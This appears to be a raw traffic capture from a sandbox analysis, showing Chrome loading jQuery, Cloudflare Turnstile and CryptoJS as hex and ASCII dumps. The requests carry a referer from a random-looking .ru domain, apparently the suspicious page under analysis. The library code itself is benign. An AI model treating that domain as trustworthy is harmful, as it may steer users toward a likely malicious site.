2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-10 18:04:48 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49719	104.18.94.41	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:48 UTC	650	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:48 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 10 Jan 2025 18:04:48 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/e0c90b6a3ed1/api.js Server: cloudflare CF-RAY: 8ffe9775ac614294-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49718	104.17.25.14	443	5232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:04:48 UTC	652	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pllu.gnoqwwhpwe.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 18:04:48 UTC	960	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:04:48 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 190099 Expires: Wed, 31 Dec 2025 18:04:48 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N0ixVQ9k5eVM4i3Bn%2FUXKEewNz1M36lBhnD0x3YSAlm9%2BdPcq8KXxrLGWZnk3866gb3UUjiPfo2cEdkpggReyCD%2Bfof1gHOv4bMlWpob7SFrbEe5RZRs8bFE2uFQ%2BdzLYeEv1eh2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ffe9775ae2243b6-EWR alt-svc: h3=":443"; ma=86400
2025-01-10 18:04:48 UTC	409	IN	Data Raw: 33 39 37 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 3977!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 Data Ascii: of globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cr
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 Data Ascii: .call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomByte
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c Data Ascii: ypeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e Data Ascii: (var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b Data Ascii: ;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[
2025-01-10 18:04:48 UTC	1369	IN	Data Raw: 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a Data Ascii: er,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:
